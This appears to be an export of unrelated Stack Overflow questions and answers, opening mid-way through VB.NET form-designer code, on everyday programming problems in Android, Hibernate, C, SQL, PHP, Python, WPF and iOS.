"Cappuccino" Me.Cappuccino_RadioButton.UseVisualStyleBackColor = True ' 'TableLayoutPanel1 ' Me.TableLayoutPanel1.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TableLayoutPanel1.AutoSize = True Me.TableLayoutPanel1.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink Me.TableLayoutPanel1.ColumnCount = 2 Me.TableLayoutPanel1.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) Me.TableLayoutPanel1.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) Me.TableLayoutPanel1.Controls.Add(Me.Total_Label, 1, 2) Me.TableLayoutPanel1.Controls.Add(Me.Label5, 0, 2) Me.TableLayoutPanel1.Controls.Add(Me.Tax_Label, 1, 1) Me.TableLayoutPanel1.Controls.Add(Me.Label3, 0, 1) Me.TableLayoutPanel1.Controls.Add(Me.SubTotal_Label, 1, 0) Me.TableLayoutPanel1.Controls.Add(Me.Label1, 0, 0) Me.TableLayoutPanel1.Location = New System.Drawing.Point(67, 133) Me.TableLayoutPanel1.Name = "TableLayoutPanel1" Me.TableLayoutPanel1.RowCount = 3 Me.TableLayoutPanel1.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 33.33333!)) Me.TableLayoutPanel1.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 33.33333!)) Me.TableLayoutPanel1.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 33.33333!)) Me.TableLayoutPanel1.Size = New System.Drawing.Size(140, 57) Me.TableLayoutPanel1.TabIndex = 9 ' 'Total_Label ' Me.Total_Label.Anchor = System.Windows.Forms.AnchorStyles.Left Me.Total_Label.AutoSize = True Me.Total_Label.Location = New System.Drawing.Point(80, 41) Me.Total_Label.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.Total_Label.Name = "Total_Label" Me.Total_Label.Size = New System.Drawing.Size(39, 13) Me.Total_Label.TabIndex = 5 Me.Total_Label.Text = "Label6" ' 'Label5 ' Me.Label5.Anchor = System.Windows.Forms.AnchorStyles.Left Me.Label5.AutoSize = True Me.Label5.Location = New System.Drawing.Point(10, 41) Me.Label5.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(31, 13) Me.Label5.TabIndex = 4 Me.Label5.Text = "Total" ' 'Tax_Label ' Me.Tax_Label.Anchor = System.Windows.Forms.AnchorStyles.Left Me.Tax_Label.AutoSize = True Me.Tax_Label.Location = New System.Drawing.Point(80, 22) Me.Tax_Label.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.Tax_Label.Name = "Tax_Label" Me.Tax_Label.Size = New System.Drawing.Size(39, 13) Me.Tax_Label.TabIndex = 3 Me.Tax_Label.Text = "Label4" ' 'Label3 ' Me.Label3.Anchor = System.Windows.Forms.AnchorStyles.Left Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(10, 22) Me.Label3.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(25, 13) Me.Label3.TabIndex = 2 Me.Label3.Text = "Tax" ' 'SubTotal_Label ' Me.SubTotal_Label.Anchor = System.Windows.Forms.AnchorStyles.Left Me.SubTotal_Label.AutoSize = True Me.SubTotal_Label.Location = New System.Drawing.Point(80, 3) Me.SubTotal_Label.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.SubTotal_Label.Name = "SubTotal_Label" Me.SubTotal_Label.Size = New System.Drawing.Size(39, 13) Me.SubTotal_Label.TabIndex = 1 Me.SubTotal_Label.Text = "Label2" ' 'Label1 ' Me.Label1.Anchor = System.Windows.Forms.AnchorStyles.Left Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(10, 3) Me.Label1.Margin = New System.Windows.Forms.Padding(10, 3, 10, 3) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(50, 13) Me.Label1.TabIndex = 0 Me.Label1.Text = "SubTotal"%0 </code></pre>
17673912	0	 <p>Use can u create service using broadcast reciever on device boot up</p> <pre><code> &lt;receiver android:enabled="true" android:name=".YourReceiver" &lt;intent-filter&gt; &lt;action android:name="android.intent.action.BOOT_COMPLETED" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; </code></pre> <p>Permission:</p> <pre><code> &lt;uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /&gt; </code></pre>
17021394	0	 <p>You can use a span element inside parapragh elements so it would look like this:</p> <pre><code>&lt;p class="top_dr_profle"&gt; &lt;span class="my_doc_pic"&gt; &lt;img src="images/profile_img.png" /&gt; &lt;/span&gt; &lt;/p&gt; </code></pre>
10230062	0	Hibernate flush method <p>I have the following piece of code that inserts or updates a bean in the database. I have a static function in the <code>HibernateUtil</code> that returns a singleton instance from the Hibernate session.</p> <pre><code>hibSession = HibernateUtil.currentSession(); hibSession.saveOrUpdate(bean); hibSession.flush(); </code></pre> <p>This is existing code, I am wondering if there is any reason that make the programmer use flush instead of simply committing and what flush does exactly.</p>
10317784	0	 <p>Yes, you are doing this correct. Ignore the singleton comment, singletons are a good thing to avoid.</p> <p>Although I do want to make a suggestion:</p> <p>I'm going to assume BD is some kind of database. The power of OOP is the ability to subclass things, and replace objects without changing behaviour.</p> <p>So it <em>may</em> be better to just pass your $bd object in the constructor. Just something to keep in mind. This is called 'dependency injection' or 'inversion of control'.</p>
31329158	1	Manipulating validated data in Colander SchemaNode <p>I have a set of Colander SchemaNodes used with Pyramid/Cornice in an API. For some querystring args, a range is passed (ie <code>time=X-Y</code> means a time range from X to Y where X and Y are integers representing epochs). I currently validate this with a <code>RegEx()</code> validator to ensure an epoch or epoch range is passed in:</p> <pre><code>class TimeOrRange(SchemaNode): schema_type = String location = "querystring" description = 'Time (or range) in epochs: ssssssssss(-ssssssssss)' validator = Regex("^[0-9]{10}\-{0,1}[0-9]{0,10}$") </code></pre> <p>I then use this in a MappingSchema which is then tied to my Cornice view with <code>@view(schema=TimedThingGet)</code>:</p> <pre><code>class TimedThingGet(MappingSchema): time = TimeOrRange(missing=drop) </code></pre> <p>What I would like to do is update the return value in my <code>TimeOrRange</code> SchemaNode code so <code>time</code> in <code>TimedThingGet</code> is a tuple of time ranges. In other words, if <code>time=X-Y</code> is passed in to a <code>TimedThingGet</code> instance, then <code>time=(x, y)</code> is returned in the validated data. Similarly, if only <code>X</code> is passed in, then I want <code>Y</code> to be set to the epoch of <code>now()</code>. </p> <p>It looks like <code>set_value()</code> is the way to go, and here's where the problem get's some extra credit: </p> <ol> <li>Does <code>set_value</code> get called before or after validation?</li> <li>Does <code>set_value</code> have access to the validator such that a <code>RegEx</code> validator which creates regex groups could then be used to set my tuple: <code>time=(validated.match.group[1], validated.match.group[2])</code>?</li> </ol>
32384750	0	Function not printing after running <pre><code>*EDITED* </code></pre> <p>I fixed some issues but i'm still calling it wrong. Somehow when i don't declare with int the GetRand function more than once i get more error messages.</p> <p>What i want as a final result is to print the array i created and also print the maximum and average of the values of it (only counting every number > -1).</p> <p>I'm calling the maxavg() function wrong and i'm getting an error message "Error] expected identifier or '(' before '{' token" at the beginning of maxavg which i haven't been able to fix.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include &lt;limits.h&gt; int GetRand(int min, int max); int maxavg(); int main () { int a[21][21], i , j, average, maximum; for (i = 0; i &lt; 21; i++) { for ( j = 0; j &lt; 21; j++) { a[i][j] = GetRand(0, 100); printf("%3d" , a[i][j]); } a[2][15] = -1; a[10][6] = -1; a[13][5] = -1; a[15][17] = -1; a[17][17] = -1; a[19][6] = -1; printf("\n"); } average = maxavg(); maximum = maxavg(); printf("average = %d \n maximum = %d", average, maximum); return 0; } // random seed int GetRand(int min, int max); int get () { int i, r; for (i = 0; i &lt; 21; i++) { r = GetRand(0, 100); printf("Your number is %d \n", r); } return(0); } int GetRand(int min, int max) { static int Init = 0; int rc; if (Init == 0) { srand(time(NULL)); Init = 1; } rc = (rand() % (max - min +1) +min); return (rc); } // max and average int maxavg(); { int max=INT_MIN, sum=0, count=0, avg, n, m, current; current = a[i][j]; avg = sum/count; for(n = 0; n &lt; 21; n++){ for(m =0; m &lt; 21; m++){ if(current &gt; -1){ sum = sum + current; count = count + 1; if(current &gt; max){ max = current; } } } } return(0); } </code></pre>
18460919	0	SQL Order By not working properly <p>I have a table like this</p> <pre><code> CREATE TABLE [dbo].[tbl_LandRigs]( [ID] [int] IDENTITY(700000,1) NOT NULL, [Company] [nvarchar](500) NULL, [Rig] [nvarchar](500) NULL, [RigType] [nvarchar](200) NULL, [DrawWorks] [nvarchar](500) NULL, [TopDrive] [nvarchar](200) NULL, [RotaryTable] [nvarchar](500) NULL, [MudPump] [nvarchar](500) NULL, [MaxDD] [nvarchar](50) NULL, [Operator] [nvarchar](500) NULL, [Country] [nvarchar](200) NULL, [Location] [nvarchar](500) NULL, [OPStatus] [nvarchar](200) NULL, [CreatedDate] [datetime] NULL, [CreatedByID] [int] NULL, [CreatedByName] [nvarchar](50) NULL, CONSTRAINT [PK_tbl_LandRigs] PRIMARY KEY CLUSTERED ( [ID] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] </code></pre> <p>And I am trying to get data from MaxDD column in Descending order</p> <pre><code>SELECT distinct "MaxDD" FROM [tbl_LandRigs] ORDER BY "MaxDD" Desc </code></pre> <p>But this returns data in following order <img src="https://i.stack.imgur.com/J2mSM.png" alt="enter image description here"> According to my calculation 4000 must be the first value followed by others.But this results astonished me.Can any one help me out in this?</p>
20713604	0	 <p>First of all, for capabilities, if it's a fixed list of capabilities you're working with, you're probably better off with having a number of booleans on the roles table, e.g. <code>can_create_projects</code>, <code>can_create_users</code>, etc., which encode the abilities of each role.</p> <p>Then your CanCan Ability class might have something like the following,</p> <pre><code>class Ability include CanCan::Ability def initialize(user) can(:create, Project) do |project| user.roles.any?(&amp;:can_create_projects) end end end </code></pre>
34416942	0	 <p>You can handle PreviewMouseDown Event of the ScrollViewer. In your xaml:</p> <pre><code>&lt;Grid&gt; &lt;!--Button is removed as it will be not used--&gt; &lt;ScrollViewer Background="{x:Null}" Margin="20" PreviewMouseDown="ScrollViewer_MouseDown"&gt; &lt;StackPanel Orientation="Horizontal" Background="{x:Null}"&gt; &lt;Rectangle Fill="Red" Width="100" Margin="50"&gt;&lt;/Rectangle&gt; &lt;Rectangle Fill="Red" Width="100" Margin="50"&gt;&lt;/Rectangle&gt; &lt;Rectangle Fill="Red" Width="100" Margin="50"&gt;&lt;/Rectangle&gt; &lt;Rectangle Fill="Red" Width="100" Margin="50"&gt;&lt;/Rectangle&gt; &lt;/StackPanel&gt; &lt;/ScrollViewer&gt; &lt;/Grid&gt; </code></pre> <p>As It is PreviewMouseDown (Tunneling) Event. So Wherever you click on scrollviewer, Event will be fired Whether it is Rectangle or ScrollViewer itself.</p> <p>In your code behind, You can handle it by e.Source Parameter. PreviewMouseDown Event in .cs file is:</p> <pre><code>private void ScrollViewer_PreviewMouseDown(object sender, MouseButtonEventArgs e) { if (e.Source.GetType() == typeof(ScrollViewer)) { //Code which you want to perform on that Button click will be here. } if (e.Source.GetType() == typeof(Rectangle)) { //Code which you want to perform on rectangle will be here. } } </code></pre> <p>I hope it will help you.</p>
13268023	0	 <p>Apart from rectForRowAtIndexPath you need to consider the scrolling.</p> <p>Try this code:</p> <pre><code> // Get the cell rect and adjust it to consider scroll offset CGRect cellRect = [tableView rectForRowAtIndexPath:indexPath]; cellRect = CGRectOffset(cellRect, -tableView.contentOffset.x, -tableView.contentOffset.y); </code></pre>
26453980	0	 <p>The generic method would be to use <code>left join</code> and aggregation:</p> <pre><code>select count(distinct d1.user) as NumEvent1, count(distinct d2.user) as NumEvent2, count(distinct d3.user) as NumEvent3 from data d1 left join data d2 on d2.user = d1.user and d2.time &gt; d1.time and d2.event = 'event2' left join data d3 on d3.user = d2.user and d3.time &gt; d2.time and d3.event = 'event3' where d1.event = 'event1' ; </code></pre>
4643006	0	 <p>I have a method that adds model state to temp data. I then have a method in my base controller that checks temp data for any errors. If it has them, it adds them back to ModelState.</p>
23659154	0	 <pre><code>def transcript_search(search_parameter,files): for line in files: if search_parameter in line: return line else: print('Invalid entry') files = open('/Users/labadmin/Desktop/example.gtf', 'r') gene_id = input("Enter the gene_id:") transcript_search(gene_id,files) </code></pre> <p>Don't use file. As that is a python keyword. You also need to pass in the file to the function.</p> <p>Also are you sure when it's invalid you want to print but not return anything? The return type would be <code>None</code>. Could be what you want so I didn't change it.</p> <p>To print invalid only once:</p> <pre><code>def transcript_search(search_parameter,files): for line in files: if search_parameter in line: return line #In this way invalid will only print after it has gone through all the lines and never returned. print('Invalid entry') </code></pre> <p>As for saving:</p> <pre><code>saved_lines = [] files = open('/Users/labadmin/Desktop/example.gtf', 'r') gene_id = input("Enter the gene_id:") #Append to list the saved entries. saved_lines.append(transcript_search(gene_id,files)) </code></pre> <p>After which you write all of the list to a line using <code>files.writelines(list)</code> or print them to screen or whatever you want.</p> <p>This adds all the lines with ur search_parameter to a list and returns the list</p> <pre><code>def transcript_search(search_parameter,files): toreturn = [] for line in files: if search_parameter in line: toreturn.append(line) if len(toreturn)&gt;0: #Notice at how this returns an array of strings instead of one string. return toreturn print('Invalid entry') </code></pre>
29631795	0	TSQL: Prevent Nulls update over existing data <p>I have 2 tables:</p> <ol> <li><p>Orders (Table I update and want keep existing data, and prevent overwriting with nulls)</p></li> <li><p>WRK_Table (This table is identical to <em>Orders</em> but can not guarantee all columns will have data when running update)</p></li> </ol> <p>PK column 'Master_Ordernum' There are many columns in the tables, the WRK_Table will have the PK, but data in other columns can not be counted on.</p> <p>I want the WRK_Table to update Orders only with actual data and not Nulls. I was thinking along this line:</p> <pre><code>UPDATE [Orders] SET [Status] = CASE WHEN S.[Status] IS NOT NULL THEN S.[Status] END FROM [WRK_TABLE] S WHERE [Orders].[Master_Ordernum] = S.[Master_Ordernum] </code></pre> <p>The existing data in Orders is being updated with nulls</p>
28646766	0	 <p>In my case what solved the problem was the folowing:</p> <pre><code>USE [master] GO CREATE DATABASE [AdventureWorks2008R2] ON ( FILENAME = 'C:\Program Files\Microsfot SQL Server\MSSQL10_50.SQLEXPRESS\MSSQL\DATA\AdventureWors2008R2_Data.mdf') FOR ATTACH_REBUILD_LOG </code></pre>
2323639	0	 <p><strong>C++</strong></p> <p>This would work in C++ because the function signature for <code>get()</code> is probably this:</p> <pre><code>void get(char&amp; a); // pass-by-reference </code></pre> <p>The <code>&amp;</code> symbol after <code>char</code> denotes to the compiler than when you pass in a <code>char</code> value, it should pass in a <em>reference</em> to the <code>char</code> rather than making a copy of it.</p> <p>What this essentially means is that any changes made within <code>get()</code> will be reflected in the value of <code>a</code> outside the method.</p> <p>If the function signature for <code>get()</code> was this:</p> <pre><code>void get(char a); // pass-by-value </code></pre> <p>then <code>a</code> would be passed by <em>value</em>, which means a copy of <code>a</code> is made before being passed into the method as a parameter. Any changes to <code>a</code> would then only be local the method, and lost when the method returns.</p> <p><strong>C</strong></p> <p>The reason why this wouldn't work in C is because C only has <em>pass-by-value</em>. The only way to emulate <em>pass-by-reference</em> behaviour in C is to pass its pointer by value, and then de-reference the pointer value (thus accessing the same memory location) when modifying the value within the method:</p> <pre><code>void get(char* a) { *a = 'g'; } int main(int argc, char* argv[]) { char a = 'f'; get(&amp;a); printf("%c\n", a); return 0; } </code></pre> <p>Running this program will output:</p> <pre><code>g </code></pre>
11146235	0	 <p>Well, your migration obviously did not complete successfully, based on the traceback. So I would focus on figuring out why it failed, rather than working around things like the broken RAMCache which are likely a result of the migration not having run.</p> <p>The traceback indicates that it broke while trying to <em>abort</em> the transaction...so you'll probably need to do some debugging to determine what caused it to <em>try</em> to abort, since that's not indicated in the logs you pasted.</p>
38087735	0	 <p>You have to define <code>obj</code>.<br> Write something like:<br> <code>var obj = document.getElementById(pCent);</code><br> At the top of <code>load_Sim</code></p>
11562165	0	MYSQL PHP - get float LIKE $float <p>I want to get rows with floats like my <code>$float</code>.</p> <p>I used this code:</p> <pre><code>$float = $_GET['float']; $requst = mysql_fetch_array(mysql_query("SELECT * FROM floats WHERE float LIKE'$float.%%%%%%%'")); </code></pre> <p>then I echoed all the rows with while:</p> <pre><code>while ($r = $request) { echo $a['float']; } </code></pre> <p>but the page doesn't show anything. (YES, I typed in the address bar <code>?float=34</code> and there are floats like <code>34.******</code> in the table.)</p> <p>What is the problem?</p> <p>(PHP version 5.2, MYSQL version 5.0)</p>
23583912	0	Android facebook sdk import error <p>i had download facebook skd import it in my eclipse add v4 jar file and change complier to 1.6 but yet it give me error in class FacebookAppLinkResolver </p> <p><code>import bolts.AppLink; import bolts.AppLinkResolver; import bolts.Continuation; import bolts.Task;</code></p> <p><img src="https://i.stack.imgur.com/RXIp4.png" alt="enter image description here"> above are not import</p>
30871275	0	stored procedure cannot loop an array of string <pre><code>$StupidArray = "Boys, are, not, smiling, at, all,"; if (!$db-&gt;query(" SET @msg = ''; SET @Stringarray = '\' $StupidArray '\'; " ) || !$db-&gt;query(" CALL StupidProcedure (@Stringarray, @msg)") ) { echo "CALL to StupidProcedure failed:".print_r($db-&gt;errorInfo()); } else { $res = $db-&gt;query("SELECT @msg as _p_out"); $row = $res-&gt;fetch(); print_r($row['_p_out']); } </code></pre> <p>I have this mysql stored procedure that should loop through an arbitrary array of strings.</p> <pre><code>CREATE PROCEDURE StupidProcedure (INOUT Stringarray VARCHAR(100), IN msg VARCHAR (100) ) BEGIN /*Table loop variable*/ DECLARE indx INT; DECLARE len INT; DECLARE valu INT; SET @indx = 0; SET @len = 0; WHILE LOCATE(',', @Stringarray , @indx + 1) &gt; 0 DO SET @len = LOCATE(',', @Stringarray , @indx + 1) - @indx; SET @valu = SUBSTRING(@Stringarray , @indx, @len); SELECT CONCAT(@msg, @valu) INTO msg; /* For Debugging purpose*/ SET @indx = LOCATE(',', @Stringarray , @indx + @len) + 1; /*increment loop*/ END WHILE; END </code></pre> <p>Now, I needed to be sure that concatenated <code>@msg</code> has received all data in <code>@Stringarray</code> after the loop. Using php, I simply did this:</p> <pre><code>$StupidArray = "Boys, are, not, smiling, at, all,"; if (!$db-&gt;query(" SET @msg = ''; SET @Stringarray = '\' $StupidArray '\'; " )) { echo "CALL to StupidProcedure failed:".print_r($db-&gt;errorInfo()); } else { $res = $db-&gt;query("SELECT @msg as _p_out"); $row = $res-&gt;fetch(); print_r($row['_p_out']); }​ </code></pre> <p>What I got in return was <code>all</code>, the last is <code>$StupidArray</code>. What am I doing wrong? OR is it my loop that is failing?</p>
2288353	0	 <p>What about this one:</p> <p><a href="http://rads.stackoverflow.com/amzn/click/0321166094" rel="nofollow noreferrer">The Rational Unified Process Made Easy: A Practitioner's Guide to the RUP</a></p> <p>Hope that helps</p>
35725923	0	Is there a disadvantage if I keep completed tasks in a job while using Azure Batch <p>I am planning to use Azure Batch Service. I will add several permanent jobs (in a permanent pool), and add new tasks to job now and then. Therefore number of completed (and incomplete) tasks will be increased over time. Should I delete the completed tasks? Does keeping these cause any problems?</p>
12393457	0	How can I check if dll is .net library "The module was expected to contain an assembly manifest." <p>How can I verify if dll was wrote in .net? I'm using code as below:</p> <pre><code>Assembly assembly = null; try { foreach (string fileName in Directory.GetFiles(Environment.CurrentDirectory.ToString(), "*.dll", SearchOption.TopDirectoryOnly)) { try { assembly = Assembly.LoadFrom(fileName); Console.WriteLine(fileName); } catch (Exception ex) { ... } finally { ... } } } catch (ReflectionTypeLoadException ex) { .. } </code></pre> <p>When I want to load <code>assembly = Assembly.LoadFrom(fileName)</code> non-.net dll, an exception will appear:</p> <blockquote> <p>Could not load file or assembly 'file:///...' or one of its dependencies. The module was expected to contain an assembly manifest.</p> </blockquote> <p>I want to use verify in if-else clause. Can you help me? </p>
15946762	0	 <p>From C++03, 14.2.4</p> <blockquote> <p>When the name of a member template specialization appears after <code>.</code> or <code>-&gt;</code> in a <em>postfix-expression</em>, or after <em>nested-name-specifier</em> in a <em>qualified-id</em>, and the postfix-expression or qualified-id explicitly depends on a template-parameter (14.6.2), the member template name must be prefixed by the keyword template.</p> </blockquote> <p>In your example, <code>rcss::conf::Builder</code> does not depend explicitly on a template-parameter, which makes the <code>template</code> keyword useless (VC allows it).</p>
2848783	0	 <p>In the first edition of "XP explained", there was twelve practices. </p> <p>In the second edition, the practices have been reorganized: some have been renamed or merged, some have been removed (Metaphor), and there now are: thirteen primary and eleven corollary practices.</p> <p>Under the "First Edition Practices" topic in the page you mentioned, one can find the original list of twelve practices and how they appear in the update.</p> <p>While reading, you'll certainly will people differentiating XP and XP2e (XP second edition).</p> <p>Likely, there was four principles in the first edition and a fifth one (Respect) was introduced with the second edition. </p>
15219799	0	Saved State progressbar status and button click event in android listview <p>i have <code>listview</code>.in row item <code>progressbar</code> ,2 button and one image view when i click download button then downloading process start but when i scroll up down then application crash and how to save state in <code>listview</code> row item when i scroll up down?my code below:::</p> <pre><code>public class TestHopeDownload extends Activity { private ListView lstView; private ImageAdapter imageAdapter; private Handler handler = new Handler(); ArrayList&lt;Url_Dto&gt; list = new ArrayList&lt;Url_Dto&gt;(); File download; public static final int DIALOG_DOWNLOAD_THUMBNAIL_PROGRESS = 0; String strDownloaDuRL; ArrayList&lt;HashMap&lt;String, Object&gt;&gt; MyArrList = new ArrayList&lt;HashMap&lt;String, Object&gt;&gt;(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_test_hope_download); new LoadContentFromServer().execute(); } public void ShowThumbnailData() { // ListView and imageAdapter lstView = (ListView) findViewById(R.id.listView1); lstView.setClipToPadding(false); list = DBAdpter.getUrl_Detail(); imageAdapter = new ImageAdapter(getApplicationContext()); lstView.setAdapter(imageAdapter); } public void startDownload(final int position) { Runnable runnable = new Runnable() { int Status = 0; public void run() { // String urlDownload = list.get(position).url_video; String urlDownload = MyArrList.get(position) .get("VideoPathThum").toString(); Log.v("log_tag", "urlDownload ::: " + urlDownload); int count = 0; try { URL url = new URL(urlDownload); URLConnection conexion = url.openConnection(); conexion.connect(); int lenghtOfFile = conexion.getContentLength(); Log.d("ANDRO_ASYNC", "Lenght of file: " + lenghtOfFile); InputStream input = new BufferedInputStream( url.openStream()); // Get File Name from URL String fileName = urlDownload.substring( urlDownload.lastIndexOf('/') + 1, urlDownload.length()); download = new File( Environment.getExternalStorageDirectory() + "/download/"); if (!download.exists()) { download.mkdir(); } strDownloaDuRL = download + "/" + fileName; OutputStream output = new FileOutputStream(strDownloaDuRL); byte data[] = new byte[1024]; long total = 0; while ((count = input.read(data)) != -1) { total += count; Status = (int) ((total * 100) / lenghtOfFile); output.write(data, 0, count); // Update ProgressBar handler.post(new Runnable() { public void run() { updateStatus(position, Status); } }); } output.flush(); output.close(); input.close(); } catch (Exception e) { } } }; new Thread(runnable).start(); } private void updateStatus(int index, int Status) { View v = lstView.getChildAt(index - lstView.getFirstVisiblePosition()); // Update ProgressBar ProgressBar progress = (ProgressBar) v.findViewById(R.id.progressBar); progress.setProgress(Status); // Update Text to ColStatus TextView txtStatus = (TextView) v.findViewById(R.id.ColStatus); txtStatus.setPadding(10, 0, 0, 0); txtStatus.setText("Load : " + String.valueOf(Status) + "%"); // Enabled Button View if (Status &gt;= 100) { Button btnView = (Button) v.findViewById(R.id.btnView); btnView.setTextColor(Color.RED); btnView.setEnabled(true); } } class LoadContentFromServer extends AsyncTask&lt;Object, Integer, Object&gt; { protected void onPreExecute() { super.onPreExecute(); } @Override protected Object doInBackground(Object... params) { HashMap&lt;String, Object&gt; map; String url = "***** url******"; String result = ""; InputStream is = null; ArrayList&lt;NameValuePair&gt; nameValuePairs = new ArrayList&lt;NameValuePair&gt;(); // http post try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost(url); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); is = entity.getContent(); } catch (Exception e) { Log.e("log_tag", "Error in http connection " + e.toString()); } try { BufferedReader reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } is.close(); result = sb.toString(); } catch (Exception e) { Log.e("log_tag", "Error converting result " + e.toString()); } try { JSONObject json_obj = new JSONObject(result); JSONArray j_Arr_fn = json_obj.getJSONArray("children"); for (int i = 0; i &lt; j_Arr_fn.length(); i++) { JSONObject json_objs = j_Arr_fn.getJSONObject(i); Url_Dto proDto = new Url_Dto(); proDto.url_video = json_objs.getString("videoUrl"); map = new HashMap&lt;String, Object&gt;(); map.put("VideoPathThum", proDto.url_video); MyArrList.add(map); } } catch (JSONException e) { Log.e("log_tag", "Error parsing data " + e.toString()); } return null; } @Override protected void onPostExecute(Object result) { ShowThumbnailData(); } } class ImageAdapter extends BaseAdapter { private Context mContext; public ImageAdapter(Context context) { mContext = context; } public int getCount() { return MyArrList.size(); } public Object getItem(int position) { return MyArrList.get(position); } public long getItemId(int position) { return position; } public View getView(final int position, View convertView, ViewGroup parent) { // TODO Auto-generated method stub LayoutInflater inflater = (LayoutInflater) mContext .getSystemService(Context.LAYOUT_INFLATER_SERVICE); if (convertView == null) { convertView = inflater.inflate(R.layout.activity_column, null); } // ColImage ImageView imageView = (ImageView) convertView .findViewById(R.id.ColImgPath); imageView.getLayoutParams().height = 110; imageView.getLayoutParams().width = 110; imageView.setPadding(10, 10, 10, 10); imageView.setScaleType(ImageView.ScaleType.CENTER_CROP); try { imageView.setImageResource(list.get(position).images[position]); } catch (Exception e) { // When Error imageView.setImageResource(android.R.drawable.ic_menu_report_image); } // ColStatus TextView txtStatus = (TextView) convertView .findViewById(R.id.ColStatus); txtStatus.setPadding(10, 0, 0, 0); txtStatus.setText("..."); // btnDownload final Button btnDownload = (Button) convertView .findViewById(R.id.btnDownload); btnDownload.setTextColor(Color.RED); btnDownload.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { // Download btnDownload.setEnabled(false); btnDownload.setTextColor(Color.GRAY); startDownload(position); pbs.setDl(1); } }); // btnView Button btnView = (Button) convertView.findViewById(R.id.btnView); btnView.setEnabled(false); btnView.setTextColor(Color.GRAY); btnView.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { ViewVideoDelete(position); } }); // progressBar ProgressBar progress = (ProgressBar) convertView .findViewById(R.id.progressBar); progress.setPadding(10, 0, 0, 0); return convertView; } } public void ViewVideoDelete(int position) { String urlDownload = MyArrList.get(position).get("VideoPathThum") .toString(); String fileName = urlDownload.substring( urlDownload.lastIndexOf('/') + 1, urlDownload.length()); download = new File(Environment.getExternalStorageDirectory() + "/download/"); String strPath = download + "/" + fileName; Log.v("log_tag", "fileNameDElete :: " + strPath); File delete = new File(strPath); delete.delete(); } } </code></pre> <p>then i click download button then i scroll up down then application crash .my error in below::</p> <pre><code>03-05 14:39:15.301: E/AndroidRuntime(4481): FATAL EXCEPTION: main 03-05 14:39:15.301: E/AndroidRuntime(4481): java.lang.NullPointerException 03-05 14:39:15.301: E/AndroidRuntime(4481): at com.example.testhopedownload.TestHopeDownload.updateStatus(TestHopeDownload.java:142) 03-05 14:39:15.301: E/AndroidRuntime(4481): at com.example.testhopedownload.TestHopeDownload.access$1(TestHopeDownload.java:137) 03-05 14:39:15.301: E/AndroidRuntime(4481): at com.example.testhopedownload.TestHopeDownload$1$1.run(TestHopeDownload.java:119) 03-05 14:39:15.301: E/AndroidRuntime(4481): at android.os.Handler.handleCallback(Handler.java:587) 03-05 14:39:15.301: E/AndroidRuntime(4481): at android.os.Handler.dispatchMessage(Handler.java:92) 03-05 14:39:15.301: E/AndroidRuntime(4481): at android.os.Looper.loop(Looper.java:130) 03-05 14:39:15.301: E/AndroidRuntime(4481): at android.app.ActivityThread.main(ActivityThread.java:3683) 03-05 14:39:15.301: E/AndroidRuntime(4481): at java.lang.reflect.Method.invokeNative(Native Method) 03-05 14:39:15.301: E/AndroidRuntime(4481): at java.lang.reflect.Method.invoke(Method.java:507) 03-05 14:39:15.301: E/AndroidRuntime(4481): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 03-05 14:39:15.301: E/AndroidRuntime(4481): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 03-05 14:39:15.301: E/AndroidRuntime(4481): at dalvik.system.NativeStart.main(Native Method) </code></pre>
39168946	0	How to improve performance on static HTML, UIWebView content <p>I have <code>UIWebViews</code> as cells for my <code>UITableView</code>. However, it lags while scrolling due to nature of <code>UIWebView</code> being really slow. However, I only use static HTML string as content of <code>UIWebView</code>, so it shouldn't have difference with an Image once its loaded, but thats not the case.</p> <p>Is there any way to improve <code>UIWebView</code> performance when using a static HTML string as content?</p>
